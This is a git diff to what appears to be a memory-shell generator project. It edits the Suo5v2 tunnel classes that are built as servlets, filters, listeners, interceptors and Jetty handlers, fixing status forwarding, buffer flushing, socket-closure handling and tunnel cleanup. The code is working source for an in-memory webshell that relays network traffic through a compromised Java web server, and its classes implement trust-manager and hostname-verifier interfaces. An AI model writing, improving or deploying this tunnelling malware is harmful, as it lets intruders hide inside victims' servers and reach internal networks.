diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2.java index 8f1791af..b0e7332d 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2.java @@ -248,8 +248,9 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager { baos.write(bodyContent); byte[] newBody = baos.toByteArray(); conn = redirect(req, new String(redirectData), newBody); + resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(conn.getResponseCode())}); OutputStream out = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp); - pipeStream(conn.getInputStream(), out, false); + pipeStream(conn.getInputStream(), out, resp, false); } finally { if (conn != null) { conn.disconnect(); @@ -346,11 +347,10 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager { Thread t = null; boolean sendClose = true; + final OutputStream scOutStream = socket.getOutputStream(); + final InputStream scInStream = socket.getInputStream(); + final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp); try { - final OutputStream scOutStream = socket.getOutputStream(); - final InputStream scInStream = socket.getInputStream(); - final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp); - Suo5v2 p = new Suo5v2(scInStream, respOutputStream, tunId); t = new Thread(p); t.start(); @@ -539,8 +539,8 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager { throw new IOException("tunnel not found"); } SocketChannel sc = (SocketChannel) objs[0]; - if (!sc.isConnected()) { - throw new IOException("socket not connected"); + if (!sc.isOpen()) { + return; } byte[] data = (byte[]) dataMap.get("dt"); @@ -563,9 +563,6 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager { throw new IOException("tunnel not found"); } SocketChannel sc = (SocketChannel) objs[0]; - if (!sc.isConnected()) { - throw new IOException("socket not connected"); - } ByteArrayOutputStream baos = new ByteArrayOutputStream(); BlockingQueue readQueue = (BlockingQueue) objs[1]; int maxSize = 512 * 1024; // 1MB @@ -582,6 +579,10 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager { break; // no more data } } + if (!sc.isOpen() && readQueue.isEmpty()) { + performDelete(tunId); + baos.write(marshalBase64(newDel(tunId))); + } return baos.toByteArray(); } @@ -610,7 +611,7 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager { return port; } - private void pipeStream(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws Exception { + private void pipeStream(InputStream inputStream, OutputStream outputStream, Object resp, boolean needMarshal) throws Exception { try { byte[] readBuf = new byte[1024 * 8]; while (true) { @@ -624,6 +625,9 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager { } outputStream.write(dataTmp); outputStream.flush(); + if (resp != null) { + resp.getClass().getMethod("flushBuffer").invoke(resp); + } } } finally { // don't close outputStream @@ -1031,7 +1035,7 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager { // full stream if (this.mode == 0) { try { - pipeStream(gInStream, gOutStream, true); + pipeStream(gInStream, gOutStream, null, true); } catch (Exception ignore) { } return; @@ -1065,10 +1069,17 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager { // write thread while (true) { byte[] data = writeQueue.poll(300, TimeUnit.SECONDS); - if (data == null || data.length == 0) { + if (data == null) { selfClean = true; break; } + if (data.length == 0) { + byte[] signal = writeQueue.poll(10, TimeUnit.SECONDS); + if (signal == null) { + selfClean = true; + } + break; + } ByteBuffer buf = ByteBuffer.wrap(data); while (buf.hasRemaining()) { sc.write(buf); @@ -1080,8 +1091,8 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager { if (selfClean) { removeKey(this.gtunId); + readQueue.clear(); } - readQueue.clear(); writeQueue.clear(); try { writeQueue.put(new byte[0]); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2ControllerHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2ControllerHandler.java index dcb49e70..9b09c1b0 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2ControllerHandler.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2ControllerHandler.java @@ -229,7 +229,8 @@ public class Suo5v2ControllerHandler implements Controller, Runnable, HostnameVe baos.write(bodyContent); byte[] newBody = baos.toByteArray(); conn = redirect(req, new String(redirectData), newBody); - pipeStream(conn.getInputStream(), resp.getOutputStream(), false); + resp.setStatus(conn.getResponseCode()); + pipeStream(conn.getInputStream(), resp.getOutputStream(), resp, false); } finally { if (conn != null) { conn.disconnect(); @@ -325,10 +326,13 @@ public class Suo5v2ControllerHandler implements Controller, Runnable, HostnameVe Thread t = null; boolean sendClose = true; + OutputStream scOutStream = null; + InputStream scInStream = null; + OutputStream respOutputStream = null; try { - final OutputStream scOutStream = socket.getOutputStream(); - final InputStream scInStream = socket.getInputStream(); - final OutputStream respOutputStream = resp.getOutputStream(); + scOutStream = socket.getOutputStream(); + scInStream = socket.getInputStream(); + respOutputStream = resp.getOutputStream(); Suo5v2ControllerHandler p = new Suo5v2ControllerHandler(scInStream, respOutputStream, tunId); t = new Thread(p); @@ -519,8 +523,8 @@ public class Suo5v2ControllerHandler implements Controller, Runnable, HostnameVe throw new IOException("tunnel not found"); } SocketChannel sc = (SocketChannel) objs[0]; - if (!sc.isConnected()) { - throw new IOException("socket not connected"); + if (!sc.isOpen()) { + return; } byte[] data = (byte[]) dataMap.get("dt"); @@ -543,9 +547,6 @@ public class Suo5v2ControllerHandler implements Controller, Runnable, HostnameVe throw new IOException("tunnel not found"); } SocketChannel sc = (SocketChannel) objs[0]; - if (!sc.isConnected()) { - throw new IOException("socket not connected"); - } ByteArrayOutputStream baos = new ByteArrayOutputStream(); BlockingQueue readQueue = (BlockingQueue) objs[1]; int maxSize = 512 * 1024; // 1MB @@ -562,6 +563,10 @@ public class Suo5v2ControllerHandler implements Controller, Runnable, HostnameVe break; // no more data } } + if (!sc.isOpen() && readQueue.isEmpty()) { + performDelete(tunId); + baos.write(marshalBase64(newDel(tunId))); + } return baos.toByteArray(); } @@ -590,7 +595,7 @@ public class Suo5v2ControllerHandler implements Controller, Runnable, HostnameVe return port; } - private void pipeStream(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws Exception { + private void pipeStream(InputStream inputStream, OutputStream outputStream, HttpServletResponse resp, boolean needMarshal) throws Exception { try { byte[] readBuf = new byte[1024 * 8]; while (true) { @@ -604,6 +609,9 @@ public class Suo5v2ControllerHandler implements Controller, Runnable, HostnameVe } outputStream.write(dataTmp); outputStream.flush(); + if (resp != null) { + resp.flushBuffer(); + } } } finally { // don't close outputStream @@ -1011,7 +1019,7 @@ public class Suo5v2ControllerHandler implements Controller, Runnable, HostnameVe // full stream if (this.mode == 0) { try { - pipeStream(gInStream, gOutStream, true); + pipeStream(gInStream, gOutStream, null, true); } catch (Exception ignore) { } return; @@ -1045,10 +1053,17 @@ public class Suo5v2ControllerHandler implements Controller, Runnable, HostnameVe // write thread while (true) { byte[] data = writeQueue.poll(300, TimeUnit.SECONDS); - if (data == null || data.length == 0) { + if (data == null) { selfClean = true; break; } + if (data.length == 0) { + byte[] signal = writeQueue.poll(10, TimeUnit.SECONDS); + if (signal == null) { + selfClean = true; + } + break; + } ByteBuffer buf = ByteBuffer.wrap(data); while (buf.hasRemaining()) { sc.write(buf); @@ -1060,8 +1075,8 @@ public class Suo5v2ControllerHandler implements Controller, Runnable, HostnameVe if (selfClean) { removeKey(this.gtunId); + readQueue.clear(); } - readQueue.clear(); writeQueue.clear(); try { writeQueue.put(new byte[0]); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Filter.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Filter.java index eeeda2fc..4959eebb 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Filter.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Filter.java @@ -234,7 +234,8 @@ public class Suo5v2Filter implements Filter, Runnable, HostnameVerifier, X509Tru baos.write(bodyContent); byte[] newBody = baos.toByteArray(); conn = redirect(req, new String(redirectData), newBody); - pipeStream(conn.getInputStream(), resp.getOutputStream(), false); + resp.setStatus(conn.getResponseCode()); + pipeStream(conn.getInputStream(), resp.getOutputStream(), resp, false); } finally { if (conn != null) { conn.disconnect(); @@ -330,10 +331,13 @@ public class Suo5v2Filter implements Filter, Runnable, HostnameVerifier, X509Tru Thread t = null; boolean sendClose = true; + OutputStream scOutStream = null; + InputStream scInStream = null; + OutputStream respOutputStream = null; try { - final OutputStream scOutStream = socket.getOutputStream(); - final InputStream scInStream = socket.getInputStream(); - final OutputStream respOutputStream = resp.getOutputStream(); + scOutStream = socket.getOutputStream(); + scInStream = socket.getInputStream(); + respOutputStream = resp.getOutputStream(); Suo5v2Filter p = new Suo5v2Filter(scInStream, respOutputStream, tunId); t = new Thread(p); @@ -524,8 +528,8 @@ public class Suo5v2Filter implements Filter, Runnable, HostnameVerifier, X509Tru throw new IOException("tunnel not found"); } SocketChannel sc = (SocketChannel) objs[0]; - if (!sc.isConnected()) { - throw new IOException("socket not connected"); + if (!sc.isOpen()) { + return; } byte[] data = (byte[]) dataMap.get("dt"); @@ -548,9 +552,6 @@ public class Suo5v2Filter implements Filter, Runnable, HostnameVerifier, X509Tru throw new IOException("tunnel not found"); } SocketChannel sc = (SocketChannel) objs[0]; - if (!sc.isConnected()) { - throw new IOException("socket not connected"); - } ByteArrayOutputStream baos = new ByteArrayOutputStream(); BlockingQueue readQueue = (BlockingQueue) objs[1]; int maxSize = 512 * 1024; // 1MB @@ -567,6 +568,10 @@ public class Suo5v2Filter implements Filter, Runnable, HostnameVerifier, X509Tru break; // no more data } } + if (!sc.isOpen() && readQueue.isEmpty()) { + performDelete(tunId); + baos.write(marshalBase64(newDel(tunId))); + } return baos.toByteArray(); } @@ -595,7 +600,7 @@ public class Suo5v2Filter implements Filter, Runnable, HostnameVerifier, X509Tru return port; } - private void pipeStream(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws Exception { + private void pipeStream(InputStream inputStream, OutputStream outputStream, HttpServletResponse resp, boolean needMarshal) throws Exception { try { byte[] readBuf = new byte[1024 * 8]; while (true) { @@ -609,6 +614,9 @@ public class Suo5v2Filter implements Filter, Runnable, HostnameVerifier, X509Tru } outputStream.write(dataTmp); outputStream.flush(); + if (resp != null) { + resp.flushBuffer(); + } } } finally { // don't close outputStream @@ -1016,7 +1024,7 @@ public class Suo5v2Filter implements Filter, Runnable, HostnameVerifier, X509Tru // full stream if (this.mode == 0) { try { - pipeStream(gInStream, gOutStream, true); + pipeStream(gInStream, gOutStream, null, true); } catch (Exception ignore) { } return; @@ -1050,10 +1058,17 @@ public class Suo5v2Filter implements Filter, Runnable, HostnameVerifier, X509Tru // write thread while (true) { byte[] data = writeQueue.poll(300, TimeUnit.SECONDS); - if (data == null || data.length == 0) { + if (data == null) { selfClean = true; break; } + if (data.length == 0) { + byte[] signal = writeQueue.poll(10, TimeUnit.SECONDS); + if (signal == null) { + selfClean = true; + } + break; + } ByteBuffer buf = ByteBuffer.wrap(data); while (buf.hasRemaining()) { sc.write(buf); @@ -1065,8 +1080,8 @@ public class Suo5v2Filter implements Filter, Runnable, HostnameVerifier, X509Tru if (selfClean) { removeKey(this.gtunId); + readQueue.clear(); } - readQueue.clear(); writeQueue.clear(); try { writeQueue.put(new byte[0]); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Interceptor.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Interceptor.java index 2aafa31d..e4b099f6 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Interceptor.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Interceptor.java @@ -246,7 +246,8 @@ public class Suo5v2Interceptor implements AsyncHandlerInterceptor, Runnable, Hos baos.write(bodyContent); byte[] newBody = baos.toByteArray(); conn = redirect(req, new String(redirectData), newBody); - pipeStream(conn.getInputStream(), resp.getOutputStream(), false); + resp.setStatus(conn.getResponseCode()); + pipeStream(conn.getInputStream(), resp.getOutputStream(), resp, false); } finally { if (conn != null) { conn.disconnect(); @@ -342,10 +343,13 @@ public class Suo5v2Interceptor implements AsyncHandlerInterceptor, Runnable, Hos Thread t = null; boolean sendClose = true; + OutputStream scOutStream = null; + InputStream scInStream = null; + OutputStream respOutputStream = null; try { - final OutputStream scOutStream = socket.getOutputStream(); - final InputStream scInStream = socket.getInputStream(); - final OutputStream respOutputStream = resp.getOutputStream(); + scOutStream = socket.getOutputStream(); + scInStream = socket.getInputStream(); + respOutputStream = resp.getOutputStream(); Suo5v2Interceptor p = new Suo5v2Interceptor(scInStream, respOutputStream, tunId); t = new Thread(p); @@ -536,8 +540,8 @@ public class Suo5v2Interceptor implements AsyncHandlerInterceptor, Runnable, Hos throw new IOException("tunnel not found"); } SocketChannel sc = (SocketChannel) objs[0]; - if (!sc.isConnected()) { - throw new IOException("socket not connected"); + if (!sc.isOpen()) { + return; } byte[] data = (byte[]) dataMap.get("dt"); @@ -560,9 +564,6 @@ public class Suo5v2Interceptor implements AsyncHandlerInterceptor, Runnable, Hos throw new IOException("tunnel not found"); } SocketChannel sc = (SocketChannel) objs[0]; - if (!sc.isConnected()) { - throw new IOException("socket not connected"); - } ByteArrayOutputStream baos = new ByteArrayOutputStream(); BlockingQueue readQueue = (BlockingQueue) objs[1]; int maxSize = 512 * 1024; // 1MB @@ -579,6 +580,10 @@ public class Suo5v2Interceptor implements AsyncHandlerInterceptor, Runnable, Hos break; // no more data } } + if (!sc.isOpen() && readQueue.isEmpty()) { + performDelete(tunId); + baos.write(marshalBase64(newDel(tunId))); + } return baos.toByteArray(); } @@ -607,7 +612,7 @@ public class Suo5v2Interceptor implements AsyncHandlerInterceptor, Runnable, Hos return port; } - private void pipeStream(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws Exception { + private void pipeStream(InputStream inputStream, OutputStream outputStream, HttpServletResponse resp, boolean needMarshal) throws Exception { try { byte[] readBuf = new byte[1024 * 8]; while (true) { @@ -621,6 +626,7 @@ public class Suo5v2Interceptor implements AsyncHandlerInterceptor, Runnable, Hos } outputStream.write(dataTmp); outputStream.flush(); + if (resp != null) { resp.flushBuffer(); } } } finally { // don't close outputStream @@ -1028,7 +1034,7 @@ public class Suo5v2Interceptor implements AsyncHandlerInterceptor, Runnable, Hos // full stream if (this.mode == 0) { try { - pipeStream(gInStream, gOutStream, true); + pipeStream(gInStream, gOutStream, null, true); } catch (Exception ignore) { } return; @@ -1062,10 +1068,17 @@ public class Suo5v2Interceptor implements AsyncHandlerInterceptor, Runnable, Hos // write thread while (true) { byte[] data = writeQueue.poll(300, TimeUnit.SECONDS); - if (data == null || data.length == 0) { + if (data == null) { selfClean = true; break; } + if (data.length == 0) { + byte[] signal = writeQueue.poll(10, TimeUnit.SECONDS); + if (signal == null) { + selfClean = true; + } + break; + } ByteBuffer buf = ByteBuffer.wrap(data); while (buf.hasRemaining()) { sc.write(buf); @@ -1077,8 +1090,8 @@ public class Suo5v2Interceptor implements AsyncHandlerInterceptor, Runnable, Hos if (selfClean) { removeKey(this.gtunId); + readQueue.clear(); } - readQueue.clear(); writeQueue.clear(); try { writeQueue.put(new byte[0]); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2JettyCustomizer.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2JettyCustomizer.java index 0067c18f..396cbd07 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2JettyCustomizer.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2JettyCustomizer.java @@ -281,8 +281,9 @@ public class Suo5v2JettyCustomizer implements HttpConfiguration.Customizer, Runn baos.write(bodyContent); byte[] newBody = baos.toByteArray(); conn = redirect(req, new String(redirectData), newBody); + resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(conn.getResponseCode())}); OutputStream out = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp); - pipeStream(conn.getInputStream(), out, false); + pipeStream(conn.getInputStream(), out, resp, false); } finally { if (conn != null) { conn.disconnect(); @@ -379,10 +380,13 @@ public class Suo5v2JettyCustomizer implements HttpConfiguration.Customizer, Runn Thread t = null; boolean sendClose = true; + OutputStream scOutStream = null; + InputStream scInStream = null; + OutputStream respOutputStream = null; try { - final OutputStream scOutStream = socket.getOutputStream(); - final InputStream scInStream = socket.getInputStream(); - final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp); + scOutStream = socket.getOutputStream(); + scInStream = socket.getInputStream(); + respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp); Suo5v2JettyCustomizer p = new Suo5v2JettyCustomizer(scInStream, respOutputStream, tunId); t = new Thread(p); @@ -572,8 +576,8 @@ public class Suo5v2JettyCustomizer implements HttpConfiguration.Customizer, Runn throw new IOException("tunnel not found"); } SocketChannel sc = (SocketChannel) objs[0]; - if (!sc.isConnected()) { - throw new IOException("socket not connected"); + if (!sc.isOpen()) { + return; } byte[] data = (byte[]) dataMap.get("dt"); @@ -596,9 +600,6 @@ public class Suo5v2JettyCustomizer implements HttpConfiguration.Customizer, Runn throw new IOException("tunnel not found"); } SocketChannel sc = (SocketChannel) objs[0]; - if (!sc.isConnected()) { - throw new IOException("socket not connected"); - } ByteArrayOutputStream baos = new ByteArrayOutputStream(); BlockingQueue readQueue = (BlockingQueue) objs[1]; int maxSize = 512 * 1024; // 1MB @@ -615,6 +616,10 @@ public class Suo5v2JettyCustomizer implements HttpConfiguration.Customizer, Runn break; // no more data } } + if (!sc.isOpen() && readQueue.isEmpty()) { + performDelete(tunId); + baos.write(marshalBase64(newDel(tunId))); + } return baos.toByteArray(); } @@ -643,7 +648,7 @@ public class Suo5v2JettyCustomizer implements HttpConfiguration.Customizer, Runn return port; } - private void pipeStream(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws Exception { + private void pipeStream(InputStream inputStream, OutputStream outputStream, Object resp, boolean needMarshal) throws Exception { try { byte[] readBuf = new byte[1024 * 8]; while (true) { @@ -657,6 +662,9 @@ public class Suo5v2JettyCustomizer implements HttpConfiguration.Customizer, Runn } outputStream.write(dataTmp); outputStream.flush(); + if (resp != null) { + resp.getClass().getMethod("flushBuffer").invoke(resp); + } } } finally { // don't close outputStream @@ -1064,7 +1072,7 @@ public class Suo5v2JettyCustomizer implements HttpConfiguration.Customizer, Runn // full stream if (this.mode == 0) { try { - pipeStream(gInStream, gOutStream, true); + pipeStream(gInStream, gOutStream, null, true); } catch (Exception ignore) { } return; @@ -1098,10 +1106,17 @@ public class Suo5v2JettyCustomizer implements HttpConfiguration.Customizer, Runn // write thread while (true) { byte[] data = writeQueue.poll(300, TimeUnit.SECONDS); - if (data == null || data.length == 0) { + if (data == null) { selfClean = true; break; } + if (data.length == 0) { + byte[] signal = writeQueue.poll(10, TimeUnit.SECONDS); + if (signal == null) { + selfClean = true; + } + break; + } ByteBuffer buf = ByteBuffer.wrap(data); while (buf.hasRemaining()) { sc.write(buf); @@ -1113,8 +1128,8 @@ public class Suo5v2JettyCustomizer implements HttpConfiguration.Customizer, Runn if (selfClean) { removeKey(this.gtunId); + readQueue.clear(); } - readQueue.clear(); writeQueue.clear(); try { writeQueue.put(new byte[0]); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2JettyHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2JettyHandler.java index 9731453f..7f9bbb0e 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2JettyHandler.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2JettyHandler.java @@ -243,8 +243,9 @@ public class Suo5v2JettyHandler implements Runnable, HostnameVerifier, X509Trust baos.write(bodyContent); byte[] newBody = baos.toByteArray(); conn = redirect(req, new String(redirectData), newBody); + resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(conn.getResponseCode())}); OutputStream out = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp); - pipeStream(conn.getInputStream(), out, false); + pipeStream(conn.getInputStream(), out, resp, false); } finally { if (conn != null) { conn.disconnect(); @@ -340,10 +341,13 @@ public class Suo5v2JettyHandler implements Runnable, HostnameVerifier, X509Trust Thread t = null; boolean sendClose = true; + OutputStream scOutStream = null; + InputStream scInStream = null; + OutputStream respOutputStream = null; try { - final OutputStream scOutStream = socket.getOutputStream(); - final InputStream scInStream = socket.getInputStream(); - final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp); + scOutStream = socket.getOutputStream(); + scInStream = socket.getInputStream(); + respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp); Suo5v2JettyHandler p = new Suo5v2JettyHandler(scInStream, respOutputStream, tunId); t = new Thread(p); @@ -534,8 +538,8 @@ public class Suo5v2JettyHandler implements Runnable, HostnameVerifier, X509Trust throw new IOException("tunnel not found"); } SocketChannel sc = (SocketChannel) objs[0]; - if (!sc.isConnected()) { - throw new IOException("socket not connected"); + if (!sc.isOpen()) { + return; } byte[] data = (byte[]) dataMap.get("dt"); @@ -558,9 +562,6 @@ public class Suo5v2JettyHandler implements Runnable, HostnameVerifier, X509Trust throw new IOException("tunnel not found"); } SocketChannel sc = (SocketChannel) objs[0]; - if (!sc.isConnected()) { - throw new IOException("socket not connected"); - } ByteArrayOutputStream baos = new ByteArrayOutputStream(); BlockingQueue readQueue = (BlockingQueue) objs[1]; int maxSize = 512 * 1024; // 1MB @@ -577,6 +578,10 @@ public class Suo5v2JettyHandler implements Runnable, HostnameVerifier, X509Trust break; // no more data } } + if (!sc.isOpen() && readQueue.isEmpty()) { + performDelete(tunId); + baos.write(marshalBase64(newDel(tunId))); + } return baos.toByteArray(); } @@ -605,7 +610,7 @@ public class Suo5v2JettyHandler implements Runnable, HostnameVerifier, X509Trust return port; } - private void pipeStream(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws Exception { + private void pipeStream(InputStream inputStream, OutputStream outputStream, Object resp, boolean needMarshal) throws Exception { try { byte[] readBuf = new byte[1024 * 8]; while (true) { @@ -619,6 +624,9 @@ public class Suo5v2JettyHandler implements Runnable, HostnameVerifier, X509Trust } outputStream.write(dataTmp); outputStream.flush(); + if (resp != null) { + resp.getClass().getMethod("flushBuffer").invoke(resp); + } } } finally { // don't close outputStream @@ -1026,7 +1034,7 @@ public class Suo5v2JettyHandler implements Runnable, HostnameVerifier, X509Trust // full stream if (this.mode == 0) { try { - pipeStream(gInStream, gOutStream, true); + pipeStream(gInStream, gOutStream, null, true); } catch (Exception ignore) { } return; @@ -1060,10 +1068,17 @@ public class Suo5v2JettyHandler implements Runnable, HostnameVerifier, X509Trust // write thread while (true) { byte[] data = writeQueue.poll(300, TimeUnit.SECONDS); - if (data == null || data.length == 0) { + if (data == null) { selfClean = true; break; } + if (data.length == 0) { + byte[] signal = writeQueue.poll(10, TimeUnit.SECONDS); + if (signal == null) { + selfClean = true; + } + break; + } ByteBuffer buf = ByteBuffer.wrap(data); while (buf.hasRemaining()) { sc.write(buf); @@ -1075,8 +1090,8 @@ public class Suo5v2JettyHandler implements Runnable, HostnameVerifier, X509Trust if (selfClean) { removeKey(this.gtunId); + readQueue.clear(); } - readQueue.clear(); writeQueue.clear(); try { writeQueue.put(new byte[0]); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Listener.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Listener.java index e74fc6b5..44eb0748 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Listener.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Listener.java @@ -240,7 +240,8 @@ public class Suo5v2Listener implements ServletRequestListener, Runnable, Hostnam baos.write(bodyContent); byte[] newBody = baos.toByteArray(); conn = redirect(req, new String(redirectData), newBody); - pipeStream(conn.getInputStream(), resp.getOutputStream(), false); + resp.setStatus(conn.getResponseCode()); + pipeStream(conn.getInputStream(), resp.getOutputStream(), resp, false); } finally { if (conn != null) { conn.disconnect(); @@ -336,10 +337,13 @@ public class Suo5v2Listener implements ServletRequestListener, Runnable, Hostnam Thread t = null; boolean sendClose = true; + OutputStream scOutStream = null; + InputStream scInStream = null; + OutputStream respOutputStream = null; try { - final OutputStream scOutStream = socket.getOutputStream(); - final InputStream scInStream = socket.getInputStream(); - final OutputStream respOutputStream = resp.getOutputStream(); + scOutStream = socket.getOutputStream(); + scInStream = socket.getInputStream(); + respOutputStream = resp.getOutputStream(); Suo5v2Listener p = new Suo5v2Listener(scInStream, respOutputStream, tunId); t = new Thread(p); @@ -530,8 +534,8 @@ public class Suo5v2Listener implements ServletRequestListener, Runnable, Hostnam throw new IOException("tunnel not found"); } SocketChannel sc = (SocketChannel) objs[0]; - if (!sc.isConnected()) { - throw new IOException("socket not connected"); + if (!sc.isOpen()) { + return; } byte[] data = (byte[]) dataMap.get("dt"); @@ -554,9 +558,6 @@ public class Suo5v2Listener implements ServletRequestListener, Runnable, Hostnam throw new IOException("tunnel not found"); } SocketChannel sc = (SocketChannel) objs[0]; - if (!sc.isConnected()) { - throw new IOException("socket not connected"); - } ByteArrayOutputStream baos = new ByteArrayOutputStream(); BlockingQueue readQueue = (BlockingQueue) objs[1]; int maxSize = 512 * 1024; // 1MB @@ -573,6 +574,10 @@ public class Suo5v2Listener implements ServletRequestListener, Runnable, Hostnam break; // no more data } } + if (!sc.isOpen() && readQueue.isEmpty()) { + performDelete(tunId); + baos.write(marshalBase64(newDel(tunId))); + } return baos.toByteArray(); } @@ -601,7 +606,7 @@ public class Suo5v2Listener implements ServletRequestListener, Runnable, Hostnam return port; } - private void pipeStream(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws Exception { + private void pipeStream(InputStream inputStream, OutputStream outputStream, HttpServletResponse resp, boolean needMarshal) throws Exception { try { byte[] readBuf = new byte[1024 * 8]; while (true) { @@ -615,6 +620,7 @@ public class Suo5v2Listener implements ServletRequestListener, Runnable, Hostnam } outputStream.write(dataTmp); outputStream.flush(); + if (resp != null) { resp.flushBuffer(); } } } finally { // don't close outputStream @@ -1022,7 +1028,7 @@ public class Suo5v2Listener implements ServletRequestListener, Runnable, Hostnam // full stream if (this.mode == 0) { try { - pipeStream(gInStream, gOutStream, true); + pipeStream(gInStream, gOutStream, null, true); } catch (Exception ignore) { } return; @@ -1056,10 +1062,17 @@ public class Suo5v2Listener implements ServletRequestListener, Runnable, Hostnam // write thread while (true) { byte[] data = writeQueue.poll(300, TimeUnit.SECONDS); - if (data == null || data.length == 0) { + if (data == null) { selfClean = true; break; } + if (data.length == 0) { + byte[] signal = writeQueue.poll(10, TimeUnit.SECONDS); + if (signal == null) { + selfClean = true; + } + break; + } ByteBuffer buf = ByteBuffer.wrap(data); while (buf.hasRemaining()) { sc.write(buf); @@ -1071,8 +1084,8 @@ public class Suo5v2Listener implements ServletRequestListener, Runnable, Hostnam if (selfClean) { removeKey(this.gtunId); + readQueue.clear(); } - readQueue.clear(); writeQueue.clear(); try { writeQueue.put(new byte[0]); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Servlet.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Servlet.java index 580c1cda..1ce0f7ff 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Servlet.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Servlet.java @@ -228,7 +228,8 @@ public class Suo5v2Servlet implements Servlet, Runnable, HostnameVerifier, X509T baos.write(bodyContent); byte[] newBody = baos.toByteArray(); conn = redirect(req, new String(redirectData), newBody); - pipeStream(conn.getInputStream(), resp.getOutputStream(), false); + resp.setStatus(conn.getResponseCode()); + pipeStream(conn.getInputStream(), resp.getOutputStream(), resp, false); } finally { if (conn != null) { conn.disconnect(); @@ -324,11 +325,10 @@ public class Suo5v2Servlet implements Servlet, Runnable, HostnameVerifier, X509T Thread t = null; boolean sendClose = true; + final OutputStream scOutStream = socket.getOutputStream(); + final InputStream scInStream = socket.getInputStream(); + final OutputStream respOutputStream = resp.getOutputStream(); try { - final OutputStream scOutStream = socket.getOutputStream(); - final InputStream scInStream = socket.getInputStream(); - final OutputStream respOutputStream = resp.getOutputStream(); - Suo5v2Servlet p = new Suo5v2Servlet(scInStream, respOutputStream, tunId); t = new Thread(p); t.start(); @@ -518,8 +518,8 @@ public class Suo5v2Servlet implements Servlet, Runnable, HostnameVerifier, X509T throw new IOException("tunnel not found"); } SocketChannel sc = (SocketChannel) objs[0]; - if (!sc.isConnected()) { - throw new IOException("socket not connected"); + if (!sc.isOpen()) { + return; } byte[] data = (byte[]) dataMap.get("dt"); @@ -542,9 +542,6 @@ public class Suo5v2Servlet implements 